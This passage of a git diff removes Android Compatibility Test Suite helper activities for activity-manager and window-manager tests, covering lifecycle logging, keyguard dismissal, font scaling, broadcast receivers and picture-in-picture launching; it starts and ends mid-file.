-        final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
-        if (useWallpaper) {
-            setTheme(R.style.WallpaperTheme);
-        }
-        setContentView(R.layout.main);
-
-        // Delayed stop is for simulating a case where resume happens before
-        // activityStopped() is received by AM, and the transition starts without
-        // going through fully stopped state (see b/30255354).
-        // If enabled, we stall onStop() of BottomActivity, open TopActivity but make
-        // it finish before onStop() ends. This will cause BottomActivity to resume before
-        // it notifies AM of activityStopped(). We also add a second window of
-        // TYPE_BASE_APPLICATION, so that the transition animation could start earlier.
-        // Otherwise the main window has to relayout to visible first and the error won't occur.
-        // Note that if the test fails, we shouldn't try to change the app here to make
-        // it pass. The test app is artificially made to simulate an failure case, but
-        // it's not doing anything wrong.
-        mStopDelay = getIntent().getIntExtra("STOP_DELAY", 0);
-        if (mStopDelay > 0) {
-            LayoutInflater inflater = getLayoutInflater();
-            mFloatingWindow = inflater.inflate(R.layout.floating, null);
-
-            WindowManager.LayoutParams params = new WindowManager.LayoutParams();
-            params.height = WindowManager.LayoutParams.WRAP_CONTENT;
-            params.width = WindowManager.LayoutParams.WRAP_CONTENT;
-            params.type = WindowManager.LayoutParams.TYPE_BASE_APPLICATION;
-            params.setTitle("Floating");
-            getWindowManager().addView(mFloatingWindow, params);
-        }
-    }
-
-    @Override
-    public void onResume() {
-        Log.d(TAG, "onResume() E");
-        super.onResume();
-
-        if (mStopDelay > 0) {
-            // Refresh floating window
-            Log.d(TAG, "Scheuling invalidate Floating Window in onResume()");
-            mFloatingWindow.invalidate();
-        }
-
-        Log.d(TAG, "onResume() X");
-    }
-
-    @Override
-    protected void onStop() {
-        super.onStop();
-
-        if (mStopDelay > 0) {
-            try {
-                Log.d(TAG, "Stalling onStop() by " + mStopDelay + " ms...");
-                Thread.sleep(mStopDelay);
-            } catch(InterruptedException e) {}
-
-            // Refresh floating window
-            Log.d(TAG, "Scheuling invalidate Floating Window in onStop()");
-            mFloatingWindow.invalidate();
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java
deleted file mode 100644
index 8de1cda..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class BottomLeftLayoutActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomRightLayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomRightLayoutActivity.java
deleted file mode 100644
index 24fa2fc..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomRightLayoutActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class BottomRightLayoutActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java
deleted file mode 100644
index 24be43a..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
-
-import android.app.Activity;
-import android.app.KeyguardManager;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.server.cts.tools.ActivityLauncher;
-import android.util.Log;
-
-/**
- * Activity that registers broadcast receiver .
- */
-public class BroadcastReceiverActivity extends Activity {
-
-    public static final String ACTION_TRIGGER_BROADCAST = "trigger_broadcast";
-    private static final String TAG = BroadcastReceiverActivity.class.getSimpleName();
-
-    private TestBroadcastReceiver mBroadcastReceiver = new TestBroadcastReceiver();
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-
-        IntentFilter broadcastFilter = new IntentFilter(ACTION_TRIGGER_BROADCAST);
-
-        registerReceiver(mBroadcastReceiver, broadcastFilter);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        unregisterReceiver(mBroadcastReceiver);
-    }
-
-    public class TestBroadcastReceiver extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            final Bundle extras = intent.getExtras();
-            Log.i(TAG, "onReceive: extras=" + extras);
-
-            if (extras == null) {
-                return;
-            }
-            if (extras.getBoolean("finish")) {
-                finish();
-            }
-            if (extras.getBoolean("moveToBack")) {
-                moveTaskToBack(true);
-            }
-            if (extras.containsKey("orientation")) {
-                setRequestedOrientation(extras.getInt("orientation"));
-            }
-            if (extras.getBoolean("dismissKeyguard")) {
-                getWindow().addFlags(FLAG_DISMISS_KEYGUARD);
-            }
-            if (extras.getBoolean("dismissKeyguardMethod")) {
-                getSystemService(KeyguardManager.class).requestDismissKeyguard(
-                        BroadcastReceiverActivity.this, new KeyguardDismissLoggerCallback(context));
-            }
-
-            ActivityLauncher.launchActivityFromExtras(BroadcastReceiverActivity.this, extras);
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DialogWhenLargeActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DialogWhenLargeActivity.java
deleted file mode 100644
index 139c648..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DialogWhenLargeActivity.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-/**
- * Activity with DialogWhenLarge Theme.
- */
-public class DialogWhenLargeActivity extends AbstractLifecycleLogActivity {
-    private static final String TAG = DialogWhenLargeActivity.class.getSimpleName();
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardActivity.java
deleted file mode 100644
index 726a756..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardActivity.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class DismissKeyguardActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardMethodActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardMethodActivity.java
deleted file mode 100644
index c833eb2..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardMethodActivity.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.app.KeyguardManager;
-import android.os.Bundle;
-
-public class DismissKeyguardMethodActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        getSystemService(KeyguardManager.class).requestDismissKeyguard(this,
-                new KeyguardDismissLoggerCallback(this));
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DockedActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DockedActivity.java
deleted file mode 100644
index 007df5f..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DockedActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class DockedActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FinishableActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FinishableActivity.java
deleted file mode 100644
index d64b930..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FinishableActivity.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.BroadcastReceiver;
-import android.os.Bundle;
-
-/**
- * This activity finishes when you send a broadcast with the following action from adb shell
- *  am broadcast -a 'android.server.cts.FinishableActivity.finish'
- */
-public class FinishableActivity extends AbstractLifecycleLogActivity {
-
-    private static final String TAG = FinishableActivity.class.getSimpleName();
-    private static final String ACTION_FINISH = "android.server.cts.FinishableActivity.finish";
-
-    private BroadcastReceiver mReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (intent != null && intent.getAction().equals(ACTION_FINISH)) {
-                finish();
-            }
-        }
-    };
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        IntentFilter intentFilter = new IntentFilter(ACTION_FINISH);
-        registerReceiver(mReceiver, intentFilter);
-    }
-
-    @Override
-    protected void onDestroy() {
-        unregisterReceiver(mReceiver);
-        super.onDestroy();
-    }
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleActivity.java
deleted file mode 100644
index a5620c1..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleActivity.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy
- * of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations
- * under the License.
- */
-package android.server.cts;
-
-import android.content.res.Configuration;
-import android.content.res.TypedArray;
-import android.content.res.XmlResourceParser;
-import android.os.Bundle;
-import android.util.AttributeSet;
-import android.util.Log;
-import android.util.Xml;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import java.io.IOException;
-
-public class FontScaleActivity extends AbstractLifecycleLogActivity {
-    private static final String TAG = FontScaleActivity.class.getSimpleName();
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-        dumpFontSize();
-    }
-
-    // We're basically ensuring that no matter what happens to the resources underneath the
-    // Activity, any TypedArrays obtained from the pool have the correct DisplayMetrics.
-    protected void dumpFontSize() {
-        try (XmlResourceParser parser = getResources().getXml(R.layout.font_scale)) {
-            //noinspection StatementWithEmptyBody
-            while (parser.next() != XmlPullParser.START_TAG) { }
-
-            final AttributeSet attrs = Xml.asAttributeSet(parser);
-            TypedArray ta = getTheme().obtainStyledAttributes(attrs,
-                    new int[] { android.R.attr.textSize }, 0, 0);
-            try {
-                final int fontPixelSize = ta.getDimensionPixelSize(0, -1);
-                if (fontPixelSize == -1) {
-                    throw new AssertionError("android:attr/textSize not found");
-                }
-
-                Log.i(getTag(), "fontPixelSize=" + fontPixelSize);
-            } finally {
-                ta.recycle();
-            }
-        } catch (XmlPullParserException | IOException e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleNoRelaunchActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleNoRelaunchActivity.java
deleted file mode 100644
index 8789f68..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleNoRelaunchActivity.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy
- * of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations
- * under the License.
- */
-package android.server.cts;
-
-import android.content.res.Configuration;
-
-public class FontScaleNoRelaunchActivity extends FontScaleActivity {
-    @Override
-    public void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-        dumpFontSize();
-    }
-
-    @Override
-    protected String getTag() {
-        return FontScaleNoRelaunchActivity.class.getSimpleName();
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FreeformActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FreeformActivity.java
deleted file mode 100644
index f8c6d0c..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FreeformActivity.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.app.Activity;
-import android.app.ActivityOptions;
-import android.content.Intent;
-import android.graphics.Rect;
-
-public class FreeformActivity extends Activity {
-
-    @Override
-    public void onResume() {
-        super.onResume();
-        final Intent intent = new Intent(this, TestActivity.class);
-        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
-
-        final ActivityOptions options = ActivityOptions.makeBasic();
-        options.setLaunchBounds(new Rect(0, 0, 900, 900));
-        this.startActivity(intent, options.toBundle());
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardDismissLoggerCallback.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardDismissLoggerCallback.java
deleted file mode 100644
index 860f2ae..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardDismissLoggerCallback.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.KeyguardManager;
-import android.app.KeyguardManager.KeyguardDismissCallback;
-import android.content.Context;
-import android.util.Log;
-
-public class KeyguardDismissLoggerCallback extends KeyguardDismissCallback {
-
-    private final String TAG = "KeyguardDismissLoggerCallback";
-
-    private final Context mContext;
-
-    public KeyguardDismissLoggerCallback(Context context) {
-        mContext = context;
-    }
-
-    @Override
-    public void onDismissError() {
-        Log.i(TAG, "onDismissError");
-    }
-
-    @Override
-    public void onDismissSucceeded() {
-        if (mContext.getSystemService(KeyguardManager.class).isDeviceLocked()) {
-            // Device is still locked? What a fail. Don't print "onDismissSucceded" such that the
-            // log fails.
-            Log.i(TAG, "dismiss succedded was called but device is still locked.");
-        } else {
-            Log.i(TAG, "onDismissSucceeded");
-        }
-    }
-
-    @Override
-    public void onDismissCancelled() {
-        Log.i(TAG, "onDismissCancelled");
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardLockActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardLockActivity.java
deleted file mode 100644
index 352cf04..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/KeyguardLockActivity.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.KeyguardManager;
-import android.os.Bundle;
-
-public class KeyguardLockActivity extends BroadcastReceiverActivity {
-
-    private KeyguardManager.KeyguardLock mKeyguardLock;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        mKeyguardLock = getSystemService(KeyguardManager.class).newKeyguardLock("test");
-        mKeyguardLock.disableKeyguard();
-    }
-
-    @Override
-    protected void onDestroy() {
-        mKeyguardLock.reenableKeyguard();
-        super.onDestroy();
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LandscapeOrientationActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LandscapeOrientationActivity.java
deleted file mode 100644
index ffd5aee..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LandscapeOrientationActivity.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.res.Configuration;
-
-public class LandscapeOrientationActivity extends AbstractLifecycleLogActivity {
-    @Override
-    protected String getTag() {
-        return "LandscapeOrientationActivity";
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        final Configuration config = getResources().getConfiguration();
-        dumpDisplaySize(config);
-    }
-
-    @Override
-    public void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-        dumpDisplaySize(newConfig);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityFromSession.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityFromSession.java
deleted file mode 100644
index 2d562ff..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityFromSession.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class LaunchAssistantActivityFromSession extends Activity {
-    @Override
-    protected void onResume() {
-        super.onResume();
-        AssistantVoiceInteractionService.launchAssistantActivity(this, getIntent().getExtras());
-        finishAndRemoveTask();
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityIntoAssistantStack.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityIntoAssistantStack.java
deleted file mode 100644
index 62839a4..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchAssistantActivityIntoAssistantStack.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class LaunchAssistantActivityIntoAssistantStack extends Activity {
-
-    // Launches the translucent assist activity
-    public static final String EXTRA_IS_TRANSLUCENT = "is_translucent";
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-
-        if (getIntent().hasExtra(EXTRA_IS_TRANSLUCENT) &&
-                Boolean.valueOf(getIntent().getStringExtra(EXTRA_IS_TRANSLUCENT))) {
-            TranslucentAssistantActivity.launchActivityIntoAssistantStack(this,
-                    getIntent().getExtras());
-        } else {
-            AssistantActivity.launchActivityIntoAssistantStack(this, getIntent().getExtras());
-        }
-        finishAndRemoveTask();
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
deleted file mode 100644
index 6e713ec..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.server.cts.tools.ActivityLauncher;
-import android.util.Log;
-
-/** Broadcast receiver that can launch activities. */
-public class LaunchBroadcastReceiver extends BroadcastReceiver {
-    private static final String TAG = LaunchBroadcastReceiver.class.getSimpleName();
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        try {
-            ActivityLauncher.launchActivityFromExtras(context, intent.getExtras());
-        } catch (SecurityException e) {
-            Log.e(TAG, "SecurityException launching activity");
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchEnterPipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchEnterPipActivity.java
deleted file mode 100644
index e2b4786..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchEnterPipActivity.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.graphics.Rect;
-import android.os.Bundle;
-
-public class LaunchEnterPipActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle bundle) {
-        super.onCreate(bundle);
-        PipActivity.launchEnterPipActivity(this);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java
deleted file mode 100644
index 86c4834..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class LaunchIntoPinnedStackPipActivity extends Activity {
-    @Override
-    protected void onResume() {
-        super.onResume();
